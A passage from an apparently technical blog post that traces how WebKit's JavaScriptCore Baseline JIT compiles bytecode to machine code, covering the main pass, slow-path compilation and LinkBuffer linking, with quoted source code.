<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">Compiling</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">global</span><span style="color:#f92672">&gt;</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">DETOqr</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4000</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffeedcb768</span>, <span style="color:#a6e22e">NoneGlobal</span>, <span style="color:#ae81ff">43</span>]
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Baseline</span> <span style="color:#a6e22e">JIT</span> <span style="color:#a6e22e">emitting</span> <span style="color:#a6e22e">code</span> <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span> <span style="color:#a6e22e">at</span> <span style="color:#a6e22e">offset</span> <span style="color:#ae81ff">168</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">At</span> <span style="color:#ae81ff">0</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Baseline</span> <span style="color:#a6e22e">JIT</span> <span style="color:#a6e22e">emitting</span> <span style="color:#a6e22e">code</span> <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">1</span> <span style="color:#a6e22e">at</span> <span style="color:#a6e22e">offset</span> <span style="color:#ae81ff">294</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">At</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Baseline</span> <span style="color:#a6e22e">JIT</span> <span style="color:#a6e22e">emitting</span> <span style="color:#a6e22e">code</span> <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">3</span> <span style="color:#a6e22e">at</span> <span style="color:#a6e22e">offset</span> <span style="color:#ae81ff">306</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">At</span> <span style="color:#ae81ff">3</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Baseline</span> <span style="color:#a6e22e">JIT</span> <span style="color:#a6e22e">emitting</span> <span style="color:#a6e22e">code</span> <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">6</span> <span style="color:#a6e22e">at</span> <span style="color:#a6e22e">offset</span> <span style="color:#ae81ff">314</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity 
</span></span></span></code></pre></div><p>The first interesting function call is <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/JIT.cpp#L773"><code>privateCompileMainPass()</code></a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> JIT<span style="color:#f92672">::</span>privateCompileMainPass()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">auto</span><span style="color:#f92672">&amp;</span> instructions <span style="color:#f92672">=</span> m_codeBlock<span style="color:#f92672">-&gt;</span>instructions();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">unsigned</span> instructionCount <span style="color:#f92672">=</span> m_codeBlock<span style="color:#f92672">-&gt;</span>instructions().size();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    m_callLinkInfoIndex <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    VM<span style="color:#f92672">&amp;</span> vm <span style="color:#f92672">=</span> m_codeBlock<span style="color:#f92672">-&gt;</span>vm();
</span></span><span style="display:flex;"><span>    BytecodeIndex <span style="color:#a6e22e">startBytecodeIndex</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    m_bytecodeCountHavingSlowCase <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (m_bytecodeIndex <span style="color:#f92672">=</span> BytecodeIndex(<span style="color:#ae81ff">0</span>); m_bytecodeIndex.offset() <span style="color:#f92672">&lt;</span> instructionCount; ) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">unsigned</span> previousSlowCasesSize <span style="color:#f92672">=</span> m_slowCases.size();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (m_bytecodeIndex <span style="color:#f92672">==</span> startBytecodeIndex <span style="color:#f92672">&amp;&amp;</span> startBytecodeIndex.offset() <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">// We&#39;ve proven all bytecode instructions up until here are unreachable.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#75715e">// Let&#39;s ensure that by crashing if it&#39;s ever hit.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            breakpoint();
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">const</span> Instruction<span style="color:#f92672">*</span> currentInstruction <span style="color:#f92672">=</span> instructions.at(m_bytecodeIndex).ptr();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        
</span></span><span style="display:flex;"><span>        OpcodeID opcodeID <span style="color:#f92672">=</span> currentInstruction<span style="color:#f92672">-&gt;</span>opcodeID();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">unsigned</span> bytecodeOffset <span style="color:#f92672">=</span> m_bytecodeIndex.offset();
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">switch</span> (opcodeID) {
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>        DEFINE_OP(op_del_by_id)
</span></span><span style="display:flex;"><span>        DEFINE_OP(op_del_by_val)
</span></span><span style="display:flex;"><span>        DEFINE_OP(op_div)
</span></span><span style="display:flex;"><span>        DEFINE_OP(op_end)
</span></span><span style="display:flex;"><span>        DEFINE_OP(op_enter)
</span></span><span style="display:flex;"><span>        DEFINE_OP(op_get_scope)
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>        DEFINE_OP(op_lshift)
</span></span><span style="display:flex;"><span>        DEFINE_OP(op_mod)
</span></span><span style="display:flex;"><span>        DEFINE_OP(op_mov)
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">default</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>            RELEASE_ASSERT_NOT_REACHED();
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The function loops over the bytecodes and calls the relevant JIT opcode for each bytecode. For example the first bytecode to be evaluated is <code>op_enter</code> which, via the switch case <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/JIT.cpp#L348"><code>DEFINE_OP(op_enter)</code></a>, calls the function <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/JITOpcodes.cpp#L1020"><code>JIT::emit_op_enter</code></a>. Let&rsquo;s trace the <code>mov</code> opcode at <code>bc#3</code>, which moves the value in <code>loc4</code> into <code>loc5</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>[   <span style="color:#ae81ff">3</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc5</span>, <span style="color:#a6e22e">loc4</span>
</span></span></code></pre></div><p>setting a breakpoint at <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/JIT.cpp#L402"><code>DEFINE_OP(op_mov)</code></a> and stepping into the function call leads to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/JITOpcodes.cpp#L48"><code>JIT::emit_op_mov</code></a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> JIT<span style="color:#f92672">::</span>emit_op_mov(<span style="color:#66d9ef">const</span> Instruction<span style="color:#f92672">*</span> currentInstruction)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">auto</span> bytecode <span style="color:#f92672">=</span> currentInstruction<span style="color:#f92672">-&gt;</span>as<span style="color:#f92672">&lt;</span>OpMov<span style="color:#f92672">&gt;</span>();
</span></span><span style="display:flex;"><span>    VirtualRegister dst <span style="color:#f92672">=</span> bytecode.m_dst;
</span></span><span style="display:flex;"><span>    VirtualRegister src <span style="color:#f92672">=</span> bytecode.m_src;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (src.isConstant()) {
</span></span><span style="display:flex;"><span>        JSValue value <span style="color:#f92672">=</span> m_codeBlock<span style="color:#f92672">-&gt;</span>getConstant(src);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>value.isNumber())
</span></span><span style="display:flex;"><span>            store64(TrustedImm64(JSValue<span style="color:#f92672">::</span>encode(value)), addressFor(dst));
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">store64</span>(Imm64(JSValue<span style="color:#f92672">::</span>encode(value)), addressFor(dst));
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    load64(addressFor(src), regT0);
</span></span><span style="display:flex;"><span>    store64(regT0, addressFor(dst));
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The functions <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/JITOpcodes.cpp#L63"><code>load64</code></a> and <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/JITOpcodes.cpp#L64"><code>store64</code></a> are defined in <em>assembler/MacroAssemblerX86_64.h</em>. The functions call an <em>assembler</em> which is responsible for emitting machine code for the operation. Lets examine the following <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/assembler/MacroAssemblerX86_64.h#L914"><code>load64</code></a> call:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">load64</span>(ImplicitAddress address, RegisterID dest)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    m_assembler.movq_mr(address.offset, address.base, dest);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The function <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/assembler/X86Assembler.h#L2532"><code>movq_mr</code></a> is defined in <em>X86Assembler.h</em> as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">movq_mr</span>(<span style="color:#66d9ef">int</span> offset, RegisterID base, RegisterID dst)
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        m_formatter.oneByteOp64(OP_MOV_GvEv, dst, base, offset);
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><p>The function <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/assembler/X86Assembler.h#L4538"><code>oneByteOp64</code></a> listed above finally generates the machine code that gets written to an instruction buffer:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">oneByteOp64</span>(OneByteOpcodeID opcode, <span style="color:#66d9ef">int</span> reg, RegisterID base, <span style="color:#66d9ef">int</span> offset)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>            SingleInstructionBufferWriter writer(m_buffer);
</span></span><span style="display:flex;"><span>            writer.emitRexW(reg, <span style="color:#ae81ff">0</span>, base);
</span></span><span style="display:flex;"><span>            writer.putByteUnchecked(opcode);
</span></span><span style="display:flex;"><span>            writer.memoryModRM(reg, base, offset);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>In this fashion, each bytecode is processed by the function <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/JIT.cpp#L177"><code>JIT::privateCompileMainPass</code></a> to emit Baseline JIT optimised machine code. The second function that needs to be considered is <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/JIT.cpp#L493"><code>JIT::privateCompileLinkPass</code></a>, which is responsible for adjusting the jump table to ensure the optimised bytecodes can reach the right execution branches (e.g. labels):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> JIT<span style="color:#f92672">::</span>privateCompileLinkPass()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">unsigned</span> jmpTableCount <span style="color:#f92672">=</span> m_jmpTable.size();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">unsigned</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672">&lt;</span> jmpTableCount; <span style="color:#f92672">++</span>i)
</span></span><span style="display:flex;"><span>        m_jmpTable[i].from.linkTo(m_labels[m_jmpTable[i].toBytecodeOffset], <span style="color:#66d9ef">this</span>);
</span></span><span style="display:flex;"><span>    m_jmpTable.clear();
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Once the jump table has been re-linked appropriately, the next function of note to be called is <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/JIT.cpp#L501"><code>JIT::privateCompileSlowCases</code></a>.</p>
<h2 id="fast-pathslow-path-1">Fast Path/Slow Path</h2>
<p>As seen in previous sections when reviewing the LLInt, some opcodes define two types of execution paths: <em>fast path</em> and <em>slow paths</em>. The Baseline JIT when compiling bytecodes performs additional optimisations on opcodes that implement <em>fast</em> and <em>slow</em> paths. This compilation phase is performed by the call to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/JIT.cpp#L501"><code>JIT::privateCompileSlowCases</code></a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> JIT<span style="color:#f92672">::</span>privateCompileSlowCases()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    m_getByIdIndex <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>    m_getByValIndex <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>    m_getByIdWithThisIndex <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>    m_putByIdIndex <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>    m_inByIdIndex <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>    m_delByValIndex <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>    m_delByIdIndex <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>    m_instanceOfIndex <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>    m_byValInstructionIndex <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>    m_callLinkInfoIndex <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">unsigned</span> bytecodeCountHavingSlowCase <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (Vector<span style="color:#f92672">&lt;</span>SlowCaseEntry<span style="color:#f92672">&gt;::</span>iterator iter <span style="color:#f92672">=</span> m_slowCases.begin(); iter <span style="color:#f92672">!=</span> m_slowCases.end();) {
</span></span><span style="display:flex;"><span>        m_bytecodeIndex <span style="color:#f92672">=</span> iter<span style="color:#f92672">-&gt;</span>to;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>        BytecodeIndex firstTo <span style="color:#f92672">=</span> m_bytecodeIndex;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> Instruction<span style="color:#f92672">*</span> currentInstruction <span style="color:#f92672">=</span> m_codeBlock<span style="color:#f92672">-&gt;</span>instructions().at(m_bytecodeIndex).ptr();
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">switch</span> (currentInstruction<span style="color:#f92672">-&gt;</span>opcodeID()) {
</span></span><span style="display:flex;"><span>        DEFINE_SLOWCASE_OP(op_add)
</span></span><span style="display:flex;"><span>        DEFINE_SLOWCASE_OP(op_call)
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        DEFINE_SLOWCASE_OP(op_jstricteq)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">case</span> op_put_by_val_direct:
</span></span><span style="display:flex;"><span>        DEFINE_SLOWCASE_OP(op_put_by_val)
</span></span><span style="display:flex;"><span>        DEFINE_SLOWCASE_OP(op_del_by_val)
</span></span><span style="display:flex;"><span>        DEFINE_SLOWCASE_OP(op_del_by_id)
</span></span><span style="display:flex;"><span>        DEFINE_SLOWCASE_OP(op_sub)
</span></span><span style="display:flex;"><span>        DEFINE_SLOWCASE_OP(op_has_indexed_property)
</span></span><span style="display:flex;"><span>        DEFINE_SLOWCASE_OP(op_get_from_scope)
</span></span><span style="display:flex;"><span>        DEFINE_SLOWCASE_OP(op_put_to_scope)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">default</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>            RELEASE_ASSERT_NOT_REACHED();
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>        emitJumpSlowToHot(jump(), <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">++</span>bytecodeCountHavingSlowCase;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>}
</span></span></code></pre></div><p>The function iterates over bytecodes that implement a slow path and emit machine code for each of these opcodes and also updates the jump table as required. Tracing the execution of emitted machine code for opcodes that implement a slow path is left to the reader as an exercise.</p>
<h2 id="linking">Linking</h2>
<p>Once the codeblock has been successfully compiled, the next step is to link the machine code emitted by the assembler in order for the LLInt to <em>OSR</em> into the Baseline JIT optimised code. This beings by generating a <a href="https://github.com/WebKit/webkit/blob/817c46e152af795d735678386db68805d0aa505e/Source/JavaScriptCore/jit/JIT.cpp#L823"><code>LinkBuffer</code> for the codeblock</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>m_linkBuffer <span style="color:#f92672">=</span> std<span style="color:#f92672">::</span>unique_ptr<span style="color:#f92672">&lt;</span>LinkBuffer<span style="color:#f92672">&gt;</span>(<span style="color:#66d9ef">new</span> LinkBuffer(<span style="color:#f92672">*</span><span style="color:#66d9ef">this</span>, m_codeBlock, effort));
</span></span></code></pre></div><p>The developer comments have the following to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/assembler/LinkBuffer.h#L52">note about <code>LinkBuffer</code></a>:</p>
<blockquote>
<p>LinkBuffer:</p>
<p>This class assists in linking code generated by the macro assembler, once code generation
has been completed, and the code has been copied to is final location in memory.  At this
time pointers to labels within the code may be resolved, and relative offsets to external
addresses may be fixed.</p>
<p>Specifically:</p>
<ul>
<li>Jump objects may be linked to external targets,</li>
<li>The address of Jump objects may taken, such that it can later be relinked.</li>
<li>The return address of a Call may be acquired.</li>
<li>The address of a Label pointing into the code may be resolved.</li>
<li>The value referenced by a DataLabel may be set.</li>
</ul>
</blockquote>
<p>Initialisation of the LinkBuffer, eventually leads to a call to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/assembler/LinkBuffer.cpp#L417"><code>LinkBuffer::linkCode</code></a> which is listed below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> LinkBuffer<span style="color:#f92672">::</span>linkCode(MacroAssembler<span style="color:#f92672">&amp;</span> macroAssembler, JITCompilationEffort effort)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    allocate(macroAssembler, effort);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>m_didAllocate)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>    ASSERT(m_code);
</span></span><span style="display:flex;"><span>    AssemblerBuffer<span style="color:#f92672">&amp;</span> buffer <span style="color:#f92672">=</span> macroAssembler.m_assembler.buffer();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">void</span><span style="color:#f92672">*</span> code <span style="color:#f92672">=</span> m_code.dataLocation();
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    performJITMemcpy(code, buffer.data(), buffer.codeSize());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//.. code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    m_linkTasks <span style="color:#f92672">=</span> WTFMove(macroAssembler.m_linkTasks);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The key function in the snippet above is <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/ExecutableAllocator.h#L114"><code>performJITMemcpy</code></a>, which is a wrapper to <code>memcpy</code>. The emitted unlinked machine code which is stored in the assembler buffer is is copied over to the LinkeBuffer which is pointed to via <code>code</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>performJITMemcpy(code, buffer.data(), buffer.codeSize());
</span></span></code></pre></div><p>Once the <code>LinkBuffer</code> has been populated, the machine code is linked with the call to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/JIT.cpp#L841"><code>JIT::link</code></a> which is <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/JITWorklist.cpp#L55">invoked from <code>JITWorklist::Plan::finalize</code></a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>CompilationResult JIT<span style="color:#f92672">::</span>link()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    LinkBuffer<span style="color:#f92672">&amp;</span> patchBuffer <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>m_linkBuffer;
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (patchBuffer.didFailToAllocate())
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> CompilationFailed;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Translate vPC offsets into addresses in JIT generated code, for switch tables.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">auto</span><span style="color:#f92672">&amp;</span> record : m_switches) {
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code to handle swtich cases truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (size_t i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672">&lt;</span> m_codeBlock<span style="color:#f92672">-&gt;</span>numberOfExceptionHandlers(); <span style="color:#f92672">++</span>i) {
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code to handle exception handlers truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">auto</span><span style="color:#f92672">&amp;</span> record : m_calls) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (record.callee)
</span></span><span style="display:flex;"><span>            patchBuffer.link(record.from, record.callee);
